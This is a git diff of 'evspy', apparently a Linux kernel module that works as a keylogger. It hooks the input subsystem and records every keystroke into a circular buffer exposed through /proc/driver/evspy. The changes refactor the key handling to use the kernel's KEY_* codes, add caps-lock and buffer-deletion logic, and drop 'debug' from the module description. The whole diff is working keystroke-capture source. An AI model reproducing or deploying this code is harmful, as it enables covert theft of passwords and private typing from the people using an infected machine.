summaryrefslogtreecommitdiff
path: root/evspy
diff options
context:
space:
mode:
Diffstat (limited to 'evspy')
-rw-r--r--evspy/evspy.c78
-rw-r--r--evspy/evspy.h65
-rw-r--r--evspy/maps.h4
3 files changed, 69 insertions, 78 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
index 3216a62..8703bf1 100644
--- a/evspy/evspy.c
+++ b/evspy/evspy.c
@@ -42,20 +42,15 @@ static char *buffer;
static char *rdp;
static char *wrp;
static char *map = EVS_MAP; // The current keyboard layout
+static unsigned int capslock_state = EVS_VAL_FREE;
// This is how special keys will be displayed (+: pressed / -: freed)
static char sp_tag[] = "<+XXX>";
-
-/*
- * Sometimes when blkmayus is pressed two identical events are triggered.
- * blkmayus_state is meant to know if it has been already pressed,
- * and discards the second event in that case
- */
-static unsigned int blkmayus_state = EVS_VAL_FREE;
-
/*
* Executed when the procfs file is read (EVS_PROCNAME)
+ *
+ * TODO: Take a look at kernel's circular list implementation
*/
int evspy_read_proc(char *page, char **start, off_t offset, int count,
int *eof, void *data)
@@ -113,12 +108,12 @@ static void special_char(unsigned int code, unsigned int value)
// We don't care when some keys are freed
switch(code) {
- case EVS_COD_RMAYUS:
- case EVS_COD_LMAYUS:
- case EVS_COD_ALT:
- case EVS_COD_LCTRL:
- case EVS_COD_RCTRL:
- case EVS_COD_ALTGR:
+ case KEY_LEFTSHIFT:
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTALT:
+ case KEY_RIGHTALT:
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
break;
default:
if (value == EVS_VAL_FREE)
@@ -126,47 +121,46 @@ static void special_char(unsigned int code, unsigned int value)
}
switch(code) {
- case EVS_COD_RMAYUS:
- case EVS_COD_LMAYUS:
- strncpy(sp_tag+2, "MAY", 3);
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTSHIFT:
+ strncpy(sp_tag+2, "SFT", 3);
break;
- case EVS_COD_ALT:
+ case KEY_LEFTALT:
strncpy(sp_tag+2, "ALT", 3);
break;
- case EVS_COD_ALTGR:
+ case KEY_RIGHTALT:
strncpy(sp_tag+2, "AGR", 3);
break;
- case EVS_COD_LCTRL:
- case EVS_COD_RCTRL:
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
strncpy(sp_tag+2, "CTR", 3);
break;
- case EVS_COD_TAB:
+ case KEY_TAB:
strncpy(sp_tag+2, "TAB", 3);
break;
- case EVS_COD_ESC:
+ case KEY_ESC:
strncpy(sp_tag+2, "ESC", 3);
break;
- case EVS_COD_UP_AR:
- strncpy(sp_tag+2, "^^A", 3);
+ case KEY_UP:
+ strncpy(sp_tag+2, " ^ ", 3);
break;
- case EVS_COD_DOWN_AR:
- strncpy(sp_tag+2, "vvA", 3);
+ case KEY_DOWN:
+ strncpy(sp_tag+2, " v ", 3);
break;
- case EVS_COD_LEFT_AR:
- strncpy(sp_tag+2, "<<A", 3);
+ case KEY_LEFT:
+ strncpy(sp_tag+2, " < ", 3);
break;
- case EVS_COD_RIGHT_AR:
- strncpy(sp_tag+2, ">>A", 3);
+ case KEY_RIGHT:
+ strncpy(sp_tag+2, " > ", 3);
break;
default:
known = 0;
}
- if (!known && isfX(code)) {
+ if (!known && evs_isfX(code)) {
// TODO: Which F key has been pressed?
strncpy(sp_tag+2, "F??", 3);
} else if (!known) {
-// strncpy(sp_tag+2, "UNK", 3); // Uncomment this to display unknown events
return;
}
@@ -176,7 +170,7 @@ static void special_char(unsigned int code, unsigned int value)
sp_tag[1] = '-';
for (i = 0; i < sizeof(sp_tag) - 1; i++)
- evs_insrt(sp_tag[i]);
+ evs_insert(sp_tag[i]);
}
static void evspy_event(struct input_handle *handle, unsigned int type,
@@ -186,24 +180,22 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
if (unlikely(value == EVS_VAL_HOLD))
return;
- // If bloq mayus is pressed, handle it the same way as left mayus
- if (type == EVS_TYPE_BLKMAYUS) {
- if (value != blkmayus_state)
- special_char(EVS_COD_LMAYUS, value);
- blkmayus_state = value;
+ // If caps lock is pressed, handle it the same way as left shift
+ if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) {
+ capslock_state = !capslock_state;
+ special_char(KEY_LEFTSHIFT, capslock_state);
return;
} else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
return;
}
-
// Special/unknown keys (alt, ctrl, esc, mayus, etc)
- if (map[code] == '.' && likely(code != EVS_COD_DOT))
+ if (map[code] == '.' && likely(code != KEY_DOT))
special_char(code, value);
// "Direct" keys (alphanumeric + some symbols)
else if (value == EVS_VAL_PRESS) {
- evs_insrt(map[code]);
+ evs_insert(map[code]);
}
}
@@ -281,5 +273,5 @@ module_exit(evspy_exit);
MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>");
MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
-MODULE_DESCRIPTION("Custom input driver event debug module");
+MODULE_DESCRIPTION("Custom input driver event module");
MODULE_LICENSE("GPL");
diff --git a/evspy/evspy.h b/evspy/evspy.h
index 1575b71..cc5806f 100644
--- a/evspy/evspy.h
+++ b/evspy/evspy.h
@@ -1,11 +1,12 @@
+#include <linux/input.h>
+// TODO include PAGE_SIZE etc
#include "maps.h"
-#define EVS_MAP map_es // change this to your keyboard layout
-#define EVS_TROLL 1 // clear this if you're a serious guy
+#define EVS_MAP map_es // change this to your keyboard layout
+#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_PROCNAME "driver/evspy" // virtual file within /proc
-#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer
+#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer
-//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#define MIN(x, y) (x) < (y) ? (x) : (y)
/*
@@ -22,10 +23,22 @@
})
/*
- * Insert a character where wrp is pointing and move it to the next char.
+ * Same as evs_incp but backwards
+ */
+#define evs_decp(p) \
+({ \
+ if (p == buffer) \
+ p = &buffer[EVS_BUFSIZE-1]; \
+ else \
+ p--; \
+ p; \
+})
+
+/*
+ * Insert character c where wrp is pointing and move it to the next char.
* If rdp == wrp, increase rdp too.
*/
-#define evs_insrt(c) \
+#define evs_insert(c) \
({ \
*wrp = c; \
if (evs_incp(wrp) == rdp) \
@@ -33,39 +46,25 @@
})
/*
- * Is the c event code associated to any of the FX buttons?
- * NOTE: F1-F10 events are consecutive numbers, but F11 & F12 are not. (?)
+ * Remove a character from the buffer
*/
-#define isfX(c) \
+#define evs_delete() \
({ \
- (c >= EVS_COD_F1 && c <= EVS_COD_F10) || \
- (c == EVS_COD_F11 || c == EVS_COD_F12); \
+ if (wrp != rdp && evs_decp(wrp) == rdp) \
+ evs_incp(rdp); \
})
-// Bloq mayus has its own type
-#define EVS_TYPE_BLKMAYUS 17
+/*
+ * Is the c event code associated to any of the FX buttons?
+ */
+#define evs_isfX(c) \
+({ \
+ (c >= KEY_F1 && c <= KEY_F10) || \
+ (c == KEY_F11 || c == KEY_F12) || \
+ (c >= KEY_F13 && c <= KEY_F24); \
+})
// Event values
#define EVS_VAL_FREE 0
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
-
-// Event codes
-#define EVS_COD_ESC 1
-#define EVS_COD_TAB 15
-#define EVS_COD_LCTRL 29
-#define EVS_COD_LMAYUS 42
-#define EVS_COD_DOT 52
-#define EVS_COD_RMAYUS 54
-#define EVS_COD_ALT 56
-#define EVS_COD_BLKMAYUS 58
-#define EVS_COD_F1 59
-#define EVS_COD_F10 68
-#define EVS_COD_F11 87
-#define EVS_COD_F12 88
-#define EVS_COD_RCTRL 97
-#define EVS_COD_ALTGR 100
-#define EVS_COD_UP_AR 103
-#define EVS_COD_DOWN_AR 108
-#define EVS_COD_LEFT_AR 105
-#define EVS_COD_RIGHT_AR 106
diff --git a/evspy/maps.h b/evspy/maps.h
index 41cd07a..91531aa 100644
--- a/evspy/maps.h
+++ b/evspy/maps.h
@@ -3,7 +3,7 @@
*
* Each map is an array where the content of each position is the key value
* associated with the event code (index). An special/unknown key is represented
- * as a dot ('.'). The dot key itself has its own macro (EVS_COD_DOT).
+ * as a dot ('.'). The dot key itself has its own macro (KEY_DOT).
*
* By the moment, evspy does not support non-ascii characters.
*
@@ -14,7 +14,7 @@
static char map_es[] = {
'.', '.', '1', '2', '3', //0 // 1:ESC
'4', '5', '6', '7', '8', //5
- '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII)
+ '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) 14:BACKSPACE
'.', 'q', 'w', 'e', 'r', //15 // 15:TAB
't', 'y', 'u', 'i', 'o', //20
'p', '`', '+', '\n', '.', //25 // 29:LCTRL